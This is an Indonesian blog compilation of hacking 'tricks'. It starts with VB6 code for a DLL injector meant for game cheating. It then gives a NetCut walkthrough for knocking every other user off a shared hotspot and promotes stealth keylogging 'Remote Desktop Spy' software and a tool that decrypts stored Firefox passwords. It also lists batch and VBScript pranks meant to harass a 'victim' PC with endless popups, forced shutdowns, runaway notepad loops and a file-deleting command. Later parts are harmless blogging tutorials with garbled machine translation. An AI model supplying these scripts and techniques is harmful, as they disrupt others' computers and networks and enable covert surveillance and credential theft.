Dim lResult As Long<br /> Dim sPath As String<br /> Dim udtBI As BrowseInfo<br /> <br /> <br /> With udtBI<br /> .hWndOwner = hWndOwner<br /> .lpszTitle = lstrcat(sPrompt, "")<br /> .ulFlags = BIF_RETURNONLYFSDIRS<br /> End With<br /> lpIDList = SHBrowseForFolder(udtBI)<br /> <br /> <br /> If lpIDList Then<br /> sPath = String$(MAX_PATH, 0)<br /> lResult = SHGetPathFromIDList(lpIDList, sPath)<br /> Call CoTaskMemFree(lpIDList)<br /> iNull = InStr(sPath, vbNullChar)<br /> <br /> <br /> If iNull Then<br /> sPath = Left$(sPath, iNull - 1)<br /> End If<br /> End If<br /> If InStr(LCase$(sPath), "\nethood") > 0 Then<br /> MsgBox "The item that you selected is a folder shortcut, not a folder.", vbCritical, "Browse Folders"<br /> BrowseForFolder = ""<br /> Else<br /> BrowseForFolder = sPath<br /> End If<br /> End Function<br />

• Pilih Add module Lagi Dan Beri nama " ModInjector "


• lalu Copy Code Berikut

Option Explicit<br /> <br /> Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long<br /> Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long<br /> Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long<br /> Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal fAllocType As Long, flProtect As Long) As Long<br /> Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long<br /> Private Declare Function CreateRemoteThread Lib "kernel32" (ByVal ProcessHandle As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Any, ByVal lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long<br /> Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)<br /> <br /> <br /> Public Function InjectDll(DllPath As String, ProsH As Long)<br /> Dim DLLVirtLoc As Long, DllLength, Inject As Long, LibAddress As Long<br /> Dim CreateThread As Long, ThreadID As Long<br /> Dim Bla As VbMsgBoxResult<br /> <br /> g_loadlibary:<br /> LibAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")<br /> If LibAddress = 0 Then<br /> Bla = MsgBox("Can't find LoadLibrary API from kernel32.dll", vbYesNo, "ERROR")<br /> If Bla = vbYes Then<br /> GoTo g_loadlibary<br /> Else<br /> Exit Function<br /> End If<br /> End If<br /> <br /> g_virutalallocex:<br /> DllLength = Len(DllPath)<br /> DLLVirtLoc = VirtualAllocEx(ProsH, 0, DllLength, &H1000, ByVal &H4)<br /> If DLLVirtLoc = 0 Then<br /> Bla = MsgBox("VirtualAllocEx API failed! - try again?", vbYesNo, "ERROR")<br /> If Bla = vbYes Then<br /> GoTo g_virutalallocex<br /> Else<br /> Exit Function<br /> End If<br /> End If<br /> <br /> g_writepmemory:<br /> Inject = WriteProcessMemory(ProsH, ByVal DLLVirtLoc, ByVal DllPath, DllLength, vbNull)<br /> If Inject = 0 Then<br /> Bla = MsgBox("Failed to Write DLL to Process! - try again?", vbYesNo, "ERROR")<br /> If Bla = vbYes Then<br /> GoTo g_writepmemory<br /> Else<br /> Exit Function<br /> End If<br /> End If<br /> <br /> g_creatthread:<br /> CreateThread = CreateRemoteThread(ProsH, ByVal 0, 0, ByVal LibAddress, ByVal DLLVirtLoc, 0, ThreadID)<br /> If CreateThread = 0 Then<br /> Bla = MsgBox("Failed to Create Thead! - try again?", vbYesNo, "ERROR")<br /> If Bla = vbYes Then<br /> GoTo g_creatthread<br /> Else<br /> Exit Function<br /> End If<br /> End If<br /> <br /> MsgBox "Seep.. prosses inject telah succsses. Happy CHeating", 64, "White Injector succsses"<br /> <br /> End Function<br /> <br /> Public Sub InjectExecute(ByVal sFlDLL As String)<br /> Dim lProcInject As Long<br /> lProcInject = OpenProcess(PROCESS_ALL_ACCESS, 0, IdTargetOne)<br /> If lProcInject > "0" Then<br /> Call InjectDll(sFlDLL, lProcInject)<br /> End If<br /> Call CloseHandle(lProcInject)<br /> End Sub<br /> <br />

• Setelah Di Copy Semua Code Tersebut,
         - Sisipkan 6 Buah Timer
         - 4 Label
         - Dan 6 Command Button
• Naaaah.....,
 Dari pada Bingung Mendingan Download Aja Video Tutorialnya

Sumber : http://wheldt.forumid.net

Trik Javascript Pada Web Browser

Berikut ini adalah script code yang menggunakan javascript. Dengan menggunakan script code ini dapat membuat tampilan yang berbeda pada Web Browser kamu. Cara menggunakannya adalah buka salah satu web atau blog kemudian copy script code berikut pada address bar browser Kamu. Dan lihat apa yang akan terjadi. Selamat mencoba...... <(^.^)>

Membuat tulisan dan gambar memutar 

javascript:R=0; x1=.1; y1=.1; x2=.25; y2=.25; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName('a'); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.cos(R*x1+i*x2)*x4+x5)+'px'; DIS.top=(Math.sin(R*y1+i*y2)*y4+y5)+'px'}R++}setInterval('A()',50); void(0);

Mengganti warna Background Web

javascript:void(document.body.style.background = prompt("#ffcc99", "#ffcc99"))

Untuk melihat Kode warna Klik link Berikut:
Kode Warna


Membuat tombol search melayang

javascript:R=0; x1=.1; y1=.1; x2=.25; y2=.25; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName('input'); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.cos(R*x1+i*x2)*x4+x5)+'px'; DIS.top=(Math.sin(R*y1+i*y2)*y4+y5)+'px'}R++}setInterval('A()',50); void(0);

Membuat browser melayang

javascript:function Shw(n) {if (self.moveBy) {for (i =3; i > 0; i--) {for (j = n; j > .0001; j--) {self.moveBy(10,i) ;self.moveBy(i,2);self.moveBy(i,0);self.moveBy(i,5); } } }} Shw(500)

Menampilkan Pesan

javascript:alert("HELLO");alert("Welcome To JulioCaesar~~");alert("HAHAHAHAHA ")

Membuat Web bergerak

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("div") ; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5) +"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+ "px"}R++}setInterval('A()',50); void(0);

Membuat Halaman Web Kosong

javascript:x=0;e=document.body;e.style.position="Welcome To JulioCaesar~~ <(^.^)>";

Membuat pencarian dengan Google

javascript:var keyword = prompt('Enter Keyword','');if(keyword!=''&keyword!=null)window.open('http://www.google.com/search?hl=en&q=' + keyword + '&btnG=Google+Search&meta=');void 0

Menampilkan Nama Web atau Blog

javascript:alert("True root URL = " + location.protocol +"//" + location.hostname + "/");

Mengganti Tulisan Pada Web

javascript:document.body.contentEditable='true';document.designmode='on' ; void 0

Flip All Your Browser Photos

1. Open any web page in your browser.
2. Delete everything in the address bar.
3. Copy the following javascript and paste it in the address bar:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);

NOtice: To stop the effect , just refresh the web page ( press the F5 button on the keyboard)

cara memutus koneksi Se-Warnet

Terpikirkan oleh saya seandainya, saya bisa menggunakan hotspot secara sendirian dan tidak ada satupun yang boleh nyambung dalam hotspot itu begitu enaknya ya internetan. Saya kemudian browsing di internet, lalu muncullah sebuah software NetCut……….! Kita mulai yach,  jangan langsung ketujuannya dulu. Cari dulu dasar teorinya…heeee.

Naah dapet ilmukan meski dikit-dikit.Pertanyaannya sekarang bisakah kita mencuri bandwidth? jawabannya insyaallah tidak. Bandwidth hanya bisa dialihkan atau dibagi kepaha pihak lain. Artikel ini sebenarnya juga hanya mengalihkan bandwidth yang ada kepada kita sebagai pengguna otoritas. Sehingga pihak lain yang akan menggunakan hotspot tidak dapat menggunakan bandwidth, atau bandwidth yang seharusnya dia dapatkan dialihkan kepada kita.

Untuk mendownloadnya via IDM

Instalasi Program netcut

1. Extrax file yang barusan didownload
2. Kemudian Double click netcut.exe
3. Ikutilah prosedure selanjutnya, sama halnya menginstall program pada umumnya
4. Selanjutnya Restart komputermu.
5. Setelah itu jalankan program netcutnya
6. Tinggal pilih IP target terus klik cut off. Voila ikan bakar pun jadi! ngga deng, Ip target tsb bakalan RTO ampe mampus atau sampe anda meresume nya lagi ato program ini di close
7. Klo udah di matiin smua IPnya [kecuali IP anda sndiri dan Gateway] brati smua koneksi hotspot menjadi milih anda!!!!!MWUAAHAHAHAH silahkan tersenyum sinis memandang orang2 lain yang bingung [kok internet gw mati ya apa gara2 gw tadi kentut? emangnya sampe sebau itu]. Nah yang harus diinget liat deh di kolom kanan kan ada bahasa ilmiah ga jelas yang bacanya Gateway IP, nah kalo menurut hipotesis gw itu tuh gateway menuju server jadi kalo itu lo cut off yaudah brati semua orang di list kolom kiri bakalan mati [wong ip gateway dimatiin yaealaaa..] Oh iya kalo ga salah, netcut juga bisa dipakai di LAN juga, jadi silahkan dicoba.
8. 
   

   Langkah kerja

Trik Download 4shared tanpa harus menunggu

kali ini saya akan berbagi cara download di 4shared tanpa harus menunggu.

tidak bisa dipungkiri lagi, jika sobat sedang mendownload file di 4shared, maka sobat harus menunggu lama untuk menunggu agar file tersebut bisa didownload.. nah, saya akan membuat anda senang kali ini, karena saya akan memberikan trik download 4shared tanpa menunggu lama.

okelah langsung saja ya..

langkah yang pertama kali anda harus lakukan adalah menentukan file yang akan anda dowload di 4shared,

- sesudah itu, akan muncul link unduh sekarang.

liat gambar dibawah:

trick download di 4shared

- setelah itu akan muncul timer, yang artinya anda harus menunggu selama waktu yang telah ditentukan oleh 4shared.

liat gambar dibawah ini:

nah, setelah muncul timer seperti gambar diatas, ketikkan di browser alamat anda seperti dibawah ini, dan tekan enter,:

javascript:alert (c=1)

lihat contoh gambar dibawah ini:

trick 4shared

setelah itu, lihat apa yg terjadi,  taraaaaa, anda tinggal mendownload file nya tanpa harus menunggu lagi..

Read more: Trik Download 4shared tanpa harus menunggu ~ Bloggers Blog http://handzmentallist.blogspot.com/2011/01/trik-download-4shared-tanpa-harus.html#ixzz1KLXj06vs
Under Creative Commons License: Attribution

Remote Komputer Dengan Win XP

Yang dimaksud dengan meremote komputer disini adalah mengendalikan komputer jarak jauh dengan komputer yang berbeda. Jadi kita bisa melakukan aktivitas untuk menggunakan mouse dan keyboard dengan lokasi komputer yang berbeda. Misalnya Anda ingin mengendalikan komputer kantor dari komputer/laptop di rumah. Tapi yang akan dibahas disini kita menggunakan jaringan LAN saja untuk memudahkan maksud dan tujuan penulisan. Program aplikasi Remote Administrator atau PC Anywhere, biasanya digunakan untuk meremote komputer ini. Tetapi disini saya tidak membahas dua aplikasi tersebut diatas,  melainkan menggunakan fasilitas yang telah disediakan Windows XP. Misalkan Anda punya dua komputer yang sudah terhubung dijaringan. Anggap saja komputer A dan komputer B. Dan Anda ingin mengambil alih seluruh kontrol komputer A dari komputer B. Jadi komputer A merupakan komputer object yang akan jadi sasaran kita. Untuk memudahkan memahaminya langkah yang harus dilakukan :

Sebaiknya seluruh firewall dikomputer A dimatikan terlebih dahulu, baik itu firewall bawaan windows XP maupun dari luar.

Untuk mematikan firewall, klik tombol start -> Control Panel -> Security Center -> windows firewall kemudian pada windows firewall pilih tab general, kemudian matikan (off) firewall.

Password User di Aktifkan

Terkadang pengguna Komputer masuk windows tidak mengaktifkan Password-nya, sehingga saat masuk komputer langsung tanpa ditahan pertanyaan password. Untuk mengaktifkannya Klik Start->Control Panel -> User Account -> User Account lagi -> pilih user yang Anda gunakan -> Create a Password. Setelah selesai Anda Log off dulu kemudian masuk lagi dengan Password yang baru dibikin lagi, ini hanya sekedar meyakinkan login dan password Anda sudah aktif bekerja. Setelah langkah-langkah diatas sudah dilakukan, berikut ini merupakan cara men-setting romete pada windows XP. Klik Start->Klik Kanan My Computer ->Propertis Kemudian pilih tab Remote Display yang muncul sebagai berikut :

  

Pada Remote Assistance -> Allow Remote Assistance….. harus tercentang. Remote Desktop -> Allow users……. juga dalam keadaan tercentang. Kemudian klik tombol Select Remote Users Pilih tombol Add,  lanjutkan lagi klik tombol Advanced Diteruskan klik tombol Find,  Display yang akan ditampilkan sebagai berikut :

Pilih nama  user yang Anda gunakan untuk dapat meremote.

Pilih tombol OK sampai selesai semua.

Sekarang kita sudah men-setting Komputer A yang menjadi Object sasaran kita untuk meremote komputer.

Selanjutnya Anda coba pergi ke  komputer B untuk mengambil alih kendali komputer A dengan syarat komputer A tidak boleh  melakukan aktifitas sama sekali.

Dari Komputer B sebagai komputer untuk pengambil alih kontrol, klik Start->All Programs->Accessories>Communications>Remote Desktop Connection.

Tampilan sebagai berikut :

Isi dengan nama komputer ( computer name ) dari komputer yang menjadi object sasaran.

Selanjutnya akan muncul permintaan user dan password, Anda harus isikan sesuai dengan User dan Password yang dikomputer A.

Selamat mencoba……………….

Meremote komputer menggunakan Remote Desktop

Remote desktop merupakan aplikasi bawaan windows yang kita bisa gunakan untuk

remote komputer, dengan remote desktop ini kita bisa mengendalikan komputer target

100%, mulai dengan membuka semua aplikasi yang ada di komputer target sampai shutdown

juga bisa kita lakukan. Jika kita ingin menggunakan remote desktop ini

tidak langsung begitu saja, kita harus minta ijin terlebih dahulu kekomputer yang hendak kita ingin

kendalikan. Di kampus saya sering menggunakan remote desktop ini untuk akses internet ganda dari dua atau lebih komputer, kebetulan

karna di lab ada yang menggunakan jalur lan dan wirless dengan speed yang berbeda.

Berikut adalah langkah menggunakan remote desktop pada windows.
1. Buka start menu + all program + Accessories + communications +remote desktop connections
2. Setelah jendela remote dekstop terbuaka masukkan ip addres komputer yang hendak          diremoteakan terlihat seperti gambar dibawah.




3. kemudian klik connect maka komputer yang anda remote 100% under your control.

Yang perlu anda perhatikan pada komputer yang hendak anda remote adalah komputer target harus disetting dulu agar akses remote bisa dilakukan.
Klik kanan pada my Computer lalu pilih properties + remote trus kasi centang pada pilihan
Allow user to connect remotly to this computer, akan terlihat seperti gambar dibawah.



YUp semoga artikel sederhana ini bisa juga berguna bagi orang lain.

Memata-matai Lewat Remote Desktop Spy

Remote Desktop Spy adalah komputer program surveilans yang kuat yang dapat Anda gunakan di rumah, kantor atau sekolah untuk memantau dan merekam setiap detail dari PC atau jaringan lain. Ini berisi beberapa alat yang terintegrasi yang bekerja sama pada saat yang sama untuk merekam semua program yang digunakan, diketik, situs web yang dikunjungi, dan screenshot logger yang dapat mengambil ratusan foto setiap jam.

surveilans yang log dapat dilihat secara real-time dari komputer remote, sehingga Anda dapat memantau anak-anak Anda atau karyawan jarak jauh dari kenyamanan workstation Anda sendiri. Anda bahkan dapat menonton atau mengontrol desktop user, file transfer, mulai dan program berhenti, peluncuran situs web dan dokumen, log off, restart atau shutdown komputer jarak jauh. Selain surveilans, Remote Desktop Spy memungkinkan Anda untuk memblokir akses ke setiap program, dokumen atau situs web berdasarkan pengguna saat ini. Anda hanya dapat menolak akses sama sekali, memberlakukan pembatasan waktu, atau membutuhkan password untuk mengakses apa pun daftar dijamin. Ini juga memiliki tingkat keamanan yang tinggi dan ukuran data pribadi. Akses ke program dan log dibatasi oleh sandi administrator, lalu lintas jaringan dienkripsi untuk mencegah eavesdropping, dan log dikompres dan dienkripsi sebelum disimpan. Program ini berjalan sebagai Windows service, yang tidak memungkinkan untuk pengguna tanpa hak administrator untuk melucuti atau uninstall.

Berikut adalah beberapa fitur kunci dari “Remote Desktop Spy”:

* Log nama, waktu dan durasi setiap program yang digunakan.

* Records log keystroke dari apa yang diketik pengguna ke dalam program masing-masing.

* Menyimpan gambar screenshot berkala dari desktop user.

* Records judul dan URL setiap halaman web yang dikunjungi.

* Menyimpan log dari semua folder dan file yang dibuat, diubah namanya, dipindahkan atau dihapus.

* Lihat log secara real-time dari PC lain.

* Membuka dan menutup program, situs web atau dokumen dari jarak jauh.

* Perhatikan gambar langsung dari desktop pengguna tanpa mereka mengetahui.

* Ambil kendali jarak jauh keyboard dan mouse.

* Download dan mengelola file jarak jauh.

* Log off, restart atau shutdown PC secara remote.

* Beroperasi di total stealth – terlihat tidak ada jendela, ikon atau proses.

* Menjalankan sebagai layanan Windows .

Download Remote Desktop Spy

Melihat Password E-mail dengan FirePasswordViewer

• 
• FirePasswordViewer adalah versi GUI alat FirePassword dirancang untuk mendekripsi sign-on rahasia disimpan oleh Firefox. Firefox catatan rincian login seperti username dan password untuk setiap situs web resmi oleh user dan menyimpannya dalam tanda-file database dalam format terenkripsi.
• Tools FirePasswordViewer dapat mendekripsi dan menampilkan rahasia pada baris yang sama seperti Firefox built-in password manager. Keuntungan utama FirePasswordViewer adalah bahwa hal itu tidak membutuhkan Firefox untuk berjalan. Hal ini sangat berguna dalam memulihkan sign-on detail ketika Firefox gagal berfungsi dengan benar.

• FirePasswordViewer juga dapat digunakan untuk menampilkan sign-on rahasia dari profil yang berbeda (selain profil saat ini) maupun dari sistem operasi yang berbeda sama sekali. Ini sangat membantu forensik peneliti yang dapat menyalin file yang relevan dari sistem target untuk menguji mesin dan melihat secara offline mandat tanpa mempengaruhi lingkungan sasaran. Sebagai tambahan, Anda akan dapat menyimpan ditampilkan sign-on informasi ke file dalam format HTML standar dan Anda dapat menyimpan untuk referensi nanti

• Download FirePasswordViewer

10 Trik Notepad Yang Bikin Komputer Korban Stress

1. Membuat message box yang selalu keluar :

copy:

@ECHO off

:Begin

msg * muka lo jelek

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

GOTO BEGIN

Simpan dengan format *.bat

Yang ini hanya bisa di close mungkin dengan process hacker gan, sama taskmngr nggak bisa ...

2. Bikin komputer korban shutdown dan message box keluar

copy:

@echo off

msg * apaan sih lo

shutdown -s -c "Error! muka mu standar abis"

Simpan dengan format *.bat juga ...

3. Membuat Capslock terus menyala

copy:

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Simpan dengan format *.vbs, bisa di close sama Task Manager atau PH

4. Membuka dan menutup CD/DVD komputer korban

copy:

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Simpan dengan format *.vbs juga ya gan!

5. Membuat vbscript terus muncul

copy:

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

Simpan dengan format *.vbs, mungkin sama taskmngr bisa di close ...

6. Terus - menerus menekan tombol "backspace"

copy:

MsgBox "kembali ke menu sebelumnya"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

Simpan dengan format *.vbs, pasti yang berformat *vbs bisa di kill sama taskmngr

7. Otomatis menulis "Lu jelek banget sih" di notepad atau di word

copy:

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "lu jelek banget sih!!!"

loop

Simpan dengan format *.vbs, sendkeysnya bisa di ganti ...

8. Terus - menerus membuka notepad

copy:

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Simpan dengan format *.bat, bisa juga di ganti apa yang mau di bukanya, asalkan tau di mana disimpennya ...

9. Sama dengan trik nomor tujuh, tapi berbeda khas

copy:

WScript.Sleep 1800

WScript.Sleep 100

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 10

WshShell.AppActivate "Notepad"

WScript.Sleep 50

WshShell.SendKeys "ka"

WScript.Sleep 50

WshShell.SendKeys "mu "

WScript.Sleep 50

WshShell.SendKeys "je"

WScript.Sleep 50

WshShell.SendKeys "le"

WScript.Sleep 50

WshShell.SendKeys "k "

WScript.Sleep 50

WshShell.SendKeys " se"

WScript.Sleep 50

WshShell.SendKeys "ka"

WScript.Sleep 50

WshShell.SendKeys "li"

WScript.Sleep 50

WshShell.SendKeys " y"

WScript.Sleep 50

WshShell.SendKeys "a"

WScript.Sleep 50

WshShell.SendKeys " h"

WScript.Sleep 50

WshShell.SendKeys "!"

WScript.Sleep 50

WshShell.SendKeys "!! "

Ganti sendkeysnya, dan simpan dengan format *.vbs ...

10. Membuat kuis

copy:

@echo off

title quiz hari ini

:menu

cls

echo jika kamu kena virus apa yang kamu lakukan

pause

echo pilih yang mana:

echo 1. matiin computer

echo 2. format aja

echo 3. bingung ahh

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t 30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * muka lo jelek

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Simpan dengan format *.bat ...

how to download without waiting in rapidshare

rapidshare adalah filehosting yang cukup menyebalkan

copy code di bawah untuk mendownload tanpa menunggu

buka start->run->cmd

@echo off

echo ipconfig /flushdns

ipconfig /flushdns

echo ipconfig /release

ipconfig /release

echo ipconfig /renew

ipconfig /renew

exit

cuma itu aja

enjoy

Cara Membuat Komputer Bicara

Penasaran nggak sob dengan judul Cara Membuat Komputer bicara??
pasti penasaran kan?? Emang komputer bisa berbicara?? Dibilang nggak ya
nggak dibilang bisa ya bisa, aduhhh, gimana sih?? jadi bingung ni.
Oke, kalau binGung mendingan kita coba praktikan aja, biar lebih
mudeng. Talk Less Do More,,, Hehehe

1. Pertama, buka notepad.
2. Copy-Paste script berikut :

Dim msg, sapi
msg = InputBox ( "Apa yang ingin anda katakan?", "Masukan kata-kata")
Set sapi = CreateObject ( "sapi.spvoice")
sapi.Speak msg
3. Save as, kemudian pilih all files lalu kasih nama sesuai keinginan kamu tapi isi dengan akhiran .vbs
4. Selesai

Coba sekarang anda klik 2x.. Gimana?? keren kan?? hehe



Tips ini sudah saya coba dan hasilnya : 100% Tested n Worked..!!

Sumber  :  http://volcano.forumid.net

Cara Membuat Text Area Di blog

Kali ini saya akan membahas tentang Cara Membuat Text Area Di blog pada artikel sebelumnya kita sudah membahas CARA MEMASANG MP3 DI BLOG , mungkin banyak yang belum ngerti apa itu text area..
text area adalah suatu ruang yang digunakan untuk menempatkan text tertentu biasanya di gunakan untuk banner

Seperti dibawah ini :

Masuukan teks yang diinginkan disini

okee Berikut TutorNya:

1) Buka Rancangan => tata letak
2) terus bikin gadget baru => pilih gadget HTML

CaraNya Gampang Tinggal Kopas Aja Kode DiBawah Di Postingan


'  <div><form name="copy"><div align="center"><input onclick="javascript:this.form.txt.focus();this.form.txt.select();" type="button" value="Highlight All"> </div><div align="center"></div><p align="center"><textarea style="WIDTH: 300px; HEIGHT: 144px" name="txt" rows="100" wrap="VIRTUAL" cols="55">Masuukan teks yang diinginkan disini</textarea></p></div></form>  ' 

oke Semoga bermanfaat

Cara Memasang Lagu Dengan Object Media Player Di Blog

How to stream music or audio from your website">Bagaimana untuk streaming musik atau audio dari situs web Anda
"Article by Nunzio Fartalone (Nunzio390)">Pasal oleh Fartalone Nunzio (Nunzio390) *Note: this article deals with streaming audio.">* Catatan: Artikel ini berkaitan dengan streaming audio. For video, refer to these other articles:">Untuk video, lihat artikel-artikel lain: 1. How to stream video from your website in a separate window">Bagaimana video streaming dari situs Web Anda dalam jendela terpisah 2. Menggunakan IFRAME untuk Video Embedded
Artikel ini akan menunjukkan cara untuk streaming musik MP3 atau WMA atau audio di halaman web menggunakan Windows Media Player dan kontrol objek embed (untuk kompatibilitas cross-browser). This will allow large sound files to be streamed as they are played, and will work perfectly in all major browsers (eg: MSIE, Netscape/Mozilla, and Opera browsers).">Hal ini akan memungkinkan file suara besar untuk di-streaming karena mereka bermain, dan akan bekerja dengan sempurna di semua browser utama (misalnya: MSIE, Netscape / Mozilla, dan browser Opera).

Bekerja Contoh:
Individual Track Streaming MP3 Example

Track 1 = Bon Jovi - Mystery Train

Click the PLAY button above to start the stream

Multiple Track Streaming MP3 Example

Track 1 = Lindsey Buckingham - Big Love

Track 2 = Pink Floyd - Comfortably Numb

Track 3 = Paul McCartney - Heart Of The Country

Click the PLAY button above to start the stream
Lain Kerja Contoh:
Lihatlah Track Contoh Multiple Streaming (36 playlist lagu) pada halaman utama situs saya untuk melihat contoh lain yang lebih rinci dan praktis / aplikasi dari teknik streaming yang sama dijelaskan dalam artikel ini.
Another example where a variation of this streaming technique is used is within my Automated Jukebox (22 songs).">Contoh lain di mana variasi dari teknik streaming digunakan adalah dalam saya Automated Jukebox (22 lagu). Ketika Jukebox Automated dimulai Anda bisa membiarkan jukebox untuk secara otomatis maju dan bermain melalui setiap lagu dalam urutan tanpa campur tangan pengguna, atau Anda dapat melompat ke lagu yang Anda suka dengan mengklik pada link lagu masing-masing. Although not covered in this article (it's an entirely different script), lyrics for each song that plays within the Automated Jukebox are displayed in an auto-scrolling iframe as well.">Meskipun tidak tercakup dalam artikel ini (ini merupakan script yang sama sekali berbeda), lirik untuk setiap lagu yang diputar dalam Jukebox Otomatis ditampilkan dalam iframe auto-scrolling juga.

Instructions for creating the playlist file:">Petunjuk untuk membuat file playlist:
1. Simpan file musik Anda ke direktori yang sama di mana Anda akan bermain musik dari, atau referensi direktori musik URL remote mana Anda tahu file musik sudah ada.
2. Open up a text editor such as Windows Notepad or JGsoft's EditPad (as I use).">Buka editor teks seperti Windows Notepad atau JGsoft's EditPad (seperti yang saya gunakan).
3. Ketik di jalur FULL ke Alamat Web (URL) MP3 atau file musik WMA.
If it's an MP3 music file, type it in like this:">Jika file musik MP3, ketik dalam seperti ini: http://www.domain.com/music/song.mp3
Atau, jika Windows Media Audio file, ketik di seperti ini (wma.): http://www.domain.com/music/song.wma
The above 2 examples assumes that http://www.domain.com is your domain, that the music folder is where your MP3 or WMA file is located, and that song.mp3 and song.wma are the names of your .mp3 and">Yang 2 di atas contoh mengasumsikan http://www.domain.com bahwa adalah domain Anda, bahwa folder musik adalah tempat MP3 atau file WMA terletak, dan bahwa song.mp3 dan song.wma adalah nama dari Anda. Mp3 dan wma file..
Simpan file teks dengan m3u (playlist universal) ekstensi.. Contoh: music.m3u
Anda juga bisa memasukkan beberapa lagu (lagu) dalam satu file playlist. M3u jika Anda ingin. Contoh satu playlist m3u file yang berisi beberapa lagu.: http://www.domain.com/music/song1.mp3 http://www.domain.com/music/song2.mp3">http://www.domain.com/music/song2.mp3 http://www.domain.com/music/song3.mp3 http://www.domain.com/music/song4.mp3
Tidak ada batas untuk berapa mungkin lagu Anda dapat memasukkan dalam playlist individu. In a playlist with more than one song, each song is buffered and streamed individually.">Dalam sebuah playlist dengan lebih dari satu lagu, setiap lagu adalah buffered dan streaming secara individual. Oleh karena itu, tidak ada bedanya berapa banyak lagu yang dirujuk dalam satu file playlist. Setiap lagu akan memainkan satu demi satu tanpa campur tangan pengguna. Also, in a playlist with more than one song, the site visitor can use the Media Player controls to skip forward or back a track (song) in the playlist, and also has the option of "previewing" a short clip or a series of">Selain itu, dalam playlist dengan lebih dari satu lagu, pengunjung situs dapat menggunakan Media Player kontrol untuk melompat ke depan atau mundur trek (lagu) dalam daftar putar, dan juga memiliki pilihan untuk "preview" klip pendek atau serangkaian klip pendek masing-masing lagu dalam playlist.
Kembali ke Atas | Tutup jendela ini

Instruksi untuk memasukkan objek Media Player / kode embed:
Setelah Anda membuat playlist m3u. Anda, upload file ke direktori yang sama dimana file musik Anda berada.
1. Open any HTML document (web page) in your text editor, so that you can insert the object/embed Media Player control code into that HTML document.">Buka dokumen HTML (web page) pada editor teks Anda, sehingga Anda dapat memasukkan objek / embed Media Player kode kontrol ke dalam dokumen HTML.
2. Masukkan ini browser-silang Media Player objek / kode ke halaman web Anda embed: Cross-browser Media Player object/embed code ...">Cross-browser Media Player objek / kode embed ...

<img src="http://img2.blogblog.com/img/video_object.png" style="background-color: #b2b2b2; height: 46px; width: 280px; " class="BLOGGER-object-element tr_noresize tr_placeholder" id="BLOGGER_object_0" data-original-id="BLOGGER_object_0" />

Semua nilai ditunjukkan dengan warna biru dalam kode di atas dapat diubah jika diperlukan. pengaturan Autostart menentukan apakah musik mulai diputar secara otomatis atau tidak. If you want it not to start automatically, and you would rather have the site visitor press the play button to start/stop the music/audio, then change both those values to false and 0, respectively.">Jika Anda ingin tidak untuk memulai secara otomatis, dan Anda lebih suka memiliki situs tekan tombol putar pengunjung untuk memulai / menghentikan musik / audio, kemudian mengubah baik nilai-nilai ke false dan 0, masing-masing. BOTH values must be changed, to ensure that the music plays the same way in all major browsers.">KEDUA nilai harus diubah, untuk memastikan bahwa memutar musik dengan cara yang sama di semua browser utama. Volume settings are just that...">Pengaturan Volume hanya itu ... mengatur tingkat volume. A value of -300 is about mid-range.">Nilai -300 adalah tentang mid-range. Anda dapat mengubah itu juga jika Anda suka. BOTH values must be changed to be the same values, to ensure that the volume level is the same in all major browsers.">KEDUA nilai harus berubah menjadi nilai 